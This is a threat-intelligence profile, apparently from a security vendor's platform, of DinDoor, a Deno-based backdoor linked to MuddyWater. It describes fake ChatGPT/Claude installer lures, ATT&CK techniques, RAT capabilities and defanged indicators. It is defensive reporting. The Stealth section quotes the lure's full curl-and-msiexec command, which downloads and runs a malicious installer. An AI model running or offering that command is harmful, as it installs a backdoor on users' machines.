Dindoor
DinDoor is a Deno-based backdoor malware family, commonly styled as DinDoor, that executes JavaScript/TypeScript through the legitimate Deno runtime to reduce suspicion and evade some traditional detections. Multiple reports describe it as a previously unknown backdoor and a variant of the Tsundere botnet. It has been publicly linked to the Iranian threat actor MuddyWater/Seedworm, which is associated with Iran’s Ministry of Intelligence and Security (MOIS), although some reporting notes that parts of this attribution require independent verification.
Observed delivery includes fake installers and plugins impersonating popular software such as ChatGPT, Claude, AutoTune, Kontakt, Ableton Live, ZENOLOGY, GearUP, and BWR on GitHub and SourceForge, often promoted through compromised YouTube channels with AI-generated videos. Other reporting states DinDoor is delivered via phishing emails, malicious drive-by downloads, and MSI installer files. In the fake-installer campaigns, victims were instructed to paste terminal or cmd commands that downloaded MSI or PowerShell components. The infection chain then used Scoop and WinGet to install Deno, after which DinDoor fetched and executed remote JavaScript payloads from attacker-controlled infrastructure.
Behaviorally, DinDoor establishes persistence on Windows, including via a Registry Run key, fingerprints infected hosts, communicates with command-and-control infrastructure, and retrieves additional payloads. Reported execution chains include MSI files that drop CMD, VBScript, JavaScript, or PowerShell launchers; one sample displayed a fake error dialog while running the payload in the background, and another executed JavaScript entirely in memory via a data URI passed to deno.exe. DinDoor has been observed using an eval loop to repeatedly fetch subsequent stages, obtaining an ID from endpoints such as /security-pool and then requesting follow-on code such as /v2{ID}.js. It also binds a localhost TCP listener as a mutex and generates a victim identifier from system attributes including username, hostname, memory, and OS release.
DinDoor functions as a loader/backdoor for a fully capable Deno-based RAT. Reported follow-on capabilities include arbitrary command and PowerShell execution, system information collection, file and process management, screenshot capture, clipboard monitoring, SOCKS5 proxying, custom VNC-style remote desktop control, browser and cryptocurrency wallet theft, and exfiltration from applications such as Telegram, Discord, and Lightcord. A notable capability abuses Microsoft Edge, Chrome DevTools Protocol, and WebRTC to stream a victim’s screen over peer-to-peer connections. Some reporting also mentions a lighter variant called agent-lite using Cloudflare Workers for C2 anonymity, and one follow-on RAT has been referred to as Smokest based on configuration values.
Victimology in the provided content spans both broad criminal-style distribution and targeted intrusions. Malwarebytes-associated reporting describes targeting of creators, gamers, AI enthusiasts, and technically inclined users who download unofficial software. Separate reporting ties DinDoor to intrusions affecting a U.S. bank, a U.S. airport, a U.S. software supplier to the defense and aerospace sector with Israeli operations, and NGOs/non-profits in the U.S. and Canada. Sectors explicitly mentioned include financial services, transportation/airports, defense and aerospace supply chain, and non-profit organizations.
High-confidence indicators and artifacts mentioned in the content include use of the Deno runtime; MSI-delivered samples such as Installer_v1.21.66.msi and migcredit.pdf.msi; code-signing certificates issued to Amy Cherne, with some related reporting also referencing Donald Gay in overlapping Seedworm tooling; C2 or distribution infrastructure including serialmenot[.]com, claudescript[.]top, ms-telemetry-gateway-us[.]com, dakatawebstick[.]com, ashpaltlonpro[.]com, agilemast3r[.]duckdns[.]org, geralnewlong[.]com, hngfbgfbfb[.]cyou, logicalnewrestore[.]com, cf-proxy[.]cloud-analytics-services[.]workers.dev, and IPs 23[.]227[.]196[.]107, 45[.]137[.]99[.]121, 31[.]57[.]129[.]23, 66[.]78[.]40[.]107, and 193[.]233[.]198[.]132. Additional reported traits include localhost binds on ports 10044 or 10091, HTTP /health checks, and Deno command lines using data:application/javascript;base64.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Groups observed using it
4 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Два бэкдора, атрибуция которых требует независимой верификации: Dindoor [требует верификации] - по данным Broadcom, использует Deno runtime (JavaScript/TypeScript) для исполнения.
DinDoor, tracked as a variant of the Tsundere Botnet, follows this model. Delivered primarily via MSI files and relying on the Deno runtime for execution, the malware runs obfuscated JavaScript to communicate with its command and control (C2) infrastructure, while fingerprinting victims and fetching follow-on payloads.
The group deployed two malware, a newly discovered backdoor called Dindoor and a Python-based tool called Fakeset, across multiple victim environments.
The group deployed two malware, a newly discovered backdoor called Dindoor and a Python-based tool called Fakeset, across multiple victim environments.
Techniques & procedures
24 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniquesThe infection begins when a user visits a malicious GitHub or SourceForge repository and copies a command into their terminal, believing they are installing legitimate software.
Compromised YouTube channels push victims toward the malicious repositories.
Execution
6 techniquesIn these intrusions, the group used a previously unseen backdoor called DinDoor, which is a new variant of the MuddyWater-linked Tsundere botnet, according to Check Point.
The MSI file then drops a CMD file and a PowerShell script onto the victim’s machine. The PowerShell script installs the Deno JavaScript runtime using standard Windows package managers called Scoop and WinGet...
The MSI file then drops a CMD file and a PowerShell script onto the victim’s machine.
The downloads deliver a backdoor called DinDoor, which then loads a remote access Trojan built on the Deno JavaScript runtime... Deno is then used to fetch and run the DinDoor backdoor directly from a remote server.
The malicious repositories ask visitors to open a terminal and paste a command that downloads an MSI installer or a PowerShell script from GitHub. Both Windows and macOS commands are offered.
The infection chain is usually started via MSI files or PowerShell scripts downloaded from GitHub or SourceForge in most of the analyzed cases.
Persistence
1 techniquePrivilege Escalation
1 techniqueStealth
4 techniquesA new malware campaign is targeting content creators, gamers, and AI enthusiasts by disguising itself as popular software tools like ChatGPT and Claude... The malware impersonates well-known software brands including ChatGPT, Claude, Ableton Live, AutoTune, and Kontakt...
curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi
with the next stage executed in memory through standard input so it never touches disk.
Credential Access
1 techniqueCollect data from browsers including Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi...
Discovery
1 techniqueDinDoor sets up persistence through a registry Run key, reports system details to a command-and-control server
Collection
4 techniquesThis RAT can steal data from browsers and crypto wallets... It targets over 50 crypto wallet browser extensions and software wallets including Atomic Wallet, Exodus, and Electrum...
This RAT can steal data from browsers and crypto wallets, capture screenshots...
This RAT can steal data from browsers and crypto wallets, capture screenshots, record clipboard activity...
One of its most unusual features is a peer-to-peer video streaming mode that hijacks the Microsoft Edge browser... uses that page to stream live video of the victim’s screen directly to the attacker...
Command and Control
5 techniquesDinDoor acts as a backdoor that connects to a command-and-control server... The backdoor quietly communicates with the C2 server, pulling down additional payloads and sending back information about the compromised system.
The backdoor handles persistence, sends information about the compromised system to the command-and-control server (C2)... The RAT uses the following endpoints for C2 communication... /health ... /token
Once Deno is in place, it fetches and runs the DinDoor backdoor directly from the attacker’s server.
The RAT also supports ... full remote desktop control via a custom VNC setup...
IOCs tracked for this family
68 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
39 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A purported Seedworm backdoor that reportedly uses the Deno runtime for execution and may be signed with the certificate 'Amy Cherne'.
A backdoor delivered via fake ChatGPT and Claude installers hosted on GitHub and SourceForge repositories impersonating legitimate software distributions.
DinDoor is a backdoor distributed via fake installers on GitHub and SourceForge impersonating popular software. It establishes persistence via a Windows registry run key, communicates with C2 infrastructure, profiles compromised systems, and downloads additional payloads including a Deno-based RAT.
A backdoor delivered via counterfeit installers and plugins hosted on GitHub and SourceForge. It is fetched and executed through the legitimate Deno runtime, establishes persistence via a registry Run key, reports system details to a command-and-control server, and downloads additional payloads.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.